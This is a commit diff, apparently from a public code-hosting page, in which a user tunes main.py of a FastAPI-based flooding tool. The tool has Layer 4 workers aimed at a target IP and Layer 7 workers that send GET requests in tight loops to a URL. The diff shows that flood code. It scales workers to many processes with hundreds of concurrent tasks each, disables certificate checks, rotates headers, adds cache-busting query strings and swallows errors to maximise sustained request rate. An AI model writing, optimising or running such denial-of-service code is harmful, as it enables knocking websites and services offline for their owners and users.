Samuraiog commited on
Commit
c204b9a
·
verified ·
1 Parent(s): 77398e6

Update main.py

Browse files
Files changed (1) hide show
  1. main.py +37 -42
main.py CHANGED
@@ -35,24 +35,23 @@ app = FastAPI(
35
  CPU_COUNT = psutil.cpu_count(logical=True) or 8
36
  TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)
37
 
38
- # Optimized for SUSTAINED performance (not burst)
39
- # More processes, lower concurrency = better sustained RPS
40
  if CPU_COUNT >= 32:
41
- # High-core systems (32-64+ cores)
42
- MAX_PROCESSES = min(CPU_COUNT * 4, 256)
43
- MAX_CONCURRENCY_PER_PROCESS = 256 # Lower for stability
44
  elif CPU_COUNT >= 16:
45
- MAX_PROCESSES = CPU_COUNT * 6
46
- MAX_CONCURRENCY_PER_PROCESS = 384
47
  elif CPU_COUNT >= 8:
48
- # 8-core systems (like yours)
49
- MAX_PROCESSES = CPU_COUNT * 12 # 96 processes
50
  MAX_CONCURRENCY_PER_PROCESS = 512
51
  else:
52
- MAX_PROCESSES = CPU_COUNT * 8
53
  MAX_CONCURRENCY_PER_PROCESS = 256
54
 
55
- STATS_BATCH_UPDATE_SIZE = 500 # Smaller batches for accurate counting
56
  TOTAL_WORKERS = MAX_PROCESSES * MAX_CONCURRENCY_PER_PROCESS
57
 
58
  # --- L7 Enhanced Headers Pool ---
@@ -247,61 +246,57 @@ def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type,
247
  # OPTIMIZED L7 WORKER PROCESS
248
  # ====================================================================================
249
  async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
250
- """Optimized L7 worker for sustained high RPS with persistent connections."""
251
  ssl_context = ssl.create_default_context()
252
  ssl_context.check_hostname = False
253
  ssl_context.verify_mode = ssl.CERT_NONE
254
 
255
- # Optimized connector for persistent connections
256
  connector = aiohttp.TCPConnector(
257
- limit=0, # No limit - let it scale
258
- limit_per_host=0, # No per-host limit
259
  ttl_dns_cache=300,
260
- force_close=False, # CRITICAL: Keep connections alive
261
- enable_cleanup_closed=False, # Don't close idle connections
262
- keepalive_timeout=60 # Keep connections alive longer
263
  )
264
 
265
- # Faster timeouts to fail quickly and retry
266
- timeout = aiohttp.ClientTimeout(total=5, connect=2, sock_read=3)
267
 
268
  async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
269
  async def task_worker(worker_id):
270
- """Individual task worker - sends requests continuously."""
271
  local_counter = 0
272
 
273
  while not stop_event.is_set():
274
  try:
275
- # Simple cache buster
276
- cache_buster = f"?{random.randint(1, 99999999)}"
277
-
278
- # Fire and forget - don't wait for response body
279
- async with session.request(
280
- method.upper(),
281
- f"{url}{cache_buster}",
282
  headers=get_random_headers(),
283
- allow_redirects=False
284
- ) as response:
285
- # Just check status exists (don't read body)
286
- if response.status:
287
- local_counter += 1
288
-
289
  except:
290
- # Silently ignore errors for max speed
291
  pass
292
- finally:
293
- # Batch updates
294
- if local_counter >= STATS_BATCH_UPDATE_SIZE:
295
- with shared_counter.get_lock():
296
- shared_counter.value += local_counter
297
- local_counter = 0
298
 
299
  # Final update
300
  if local_counter > 0:
301
  with shared_counter.get_lock():
302
  shared_counter.value += local_counter
303
 
304
- # Launch all concurrent tasks
305
  tasks = [asyncio.create_task(task_worker(i)) for i in range(concurrency)]
306
  await asyncio.gather(*tasks, return_exceptions=True)
307
 
 
35
  CPU_COUNT = psutil.cpu_count(logical=True) or 8
36
  TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)
37
 
38
+ # BALANCED configuration for sustained performance
39
+ # Sweet spot: fewer workers that actually work vs many workers that block each other
40
  if CPU_COUNT >= 32:
41
+ # High-core systems (32-64+ cores) - REDUCED for efficiency
42
+ MAX_PROCESSES = min(CPU_COUNT, 128) # Max 128 processes
43
+ MAX_CONCURRENCY_PER_PROCESS = 128 # Lower concurrency
44
  elif CPU_COUNT >= 16:
45
+ MAX_PROCESSES = CPU_COUNT * 2
46
+ MAX_CONCURRENCY_PER_PROCESS = 256
47
  elif CPU_COUNT >= 8:
48
+ MAX_PROCESSES = CPU_COUNT * 4 # 32 processes for 8 cores
 
49
  MAX_CONCURRENCY_PER_PROCESS = 512
50
  else:
51
+ MAX_PROCESSES = CPU_COUNT * 4
52
  MAX_CONCURRENCY_PER_PROCESS = 256
53
 
54
+ STATS_BATCH_UPDATE_SIZE = 100 # Smaller batches for accurate real-time counting
55
  TOTAL_WORKERS = MAX_PROCESSES * MAX_CONCURRENCY_PER_PROCESS
56
 
57
  # --- L7 Enhanced Headers Pool ---
 
246
  # OPTIMIZED L7 WORKER PROCESS
247
  # ====================================================================================
248
  async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
249
+ """High-performance L7 worker optimized for maximum sustained RPS."""
250
  ssl_context = ssl.create_default_context()
251
  ssl_context.check_hostname = False
252
  ssl_context.verify_mode = ssl.CERT_NONE
253
 
254
+ # Optimized connector with realistic limits
255
  connector = aiohttp.TCPConnector(
256
+ limit=concurrency, # Match concurrency
257
+ limit_per_host=concurrency,
258
  ttl_dns_cache=300,
259
+ force_close=False,
260
+ enable_cleanup_closed=False,
261
+ keepalive_timeout=120
262
  )
263
 
264
+ # Fast timeouts
265
+ timeout = aiohttp.ClientTimeout(total=3, connect=1, sock_read=2)
266
 
267
  async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
268
  async def task_worker(worker_id):
269
+ """Sends requests in tight loop."""
270
  local_counter = 0
271
 
272
  while not stop_event.is_set():
273
  try:
274
+ # Minimal overhead request
275
+ async with session.get(
276
+ f"{url}?{worker_id}{random.randint(1, 9999)}",
 
 
 
 
277
  headers=get_random_headers(),
278
+ allow_redirects=False,
279
+ timeout=timeout
280
+ ) as resp:
281
+ # Just get status, don't read body
282
+ _ = resp.status
283
+ local_counter += 1
284
  except:
285
+ # Errors don't slow us down
286
  pass
287
+
288
+ # Update counter in batches
289
+ if local_counter >= STATS_BATCH_UPDATE_SIZE:
290
+ with shared_counter.get_lock():
291
+ shared_counter.value += local_counter
292
+ local_counter = 0
293
 
294
  # Final update
295
  if local_counter > 0:
296
  with shared_counter.get_lock():
297
  shared_counter.value += local_counter
298
 
299
+ # Launch tasks
300
  tasks = [asyncio.create_task(task_worker(i)) for i in range(concurrency)]
301
  await asyncio.gather(*tasks, return_exceptions=True)
302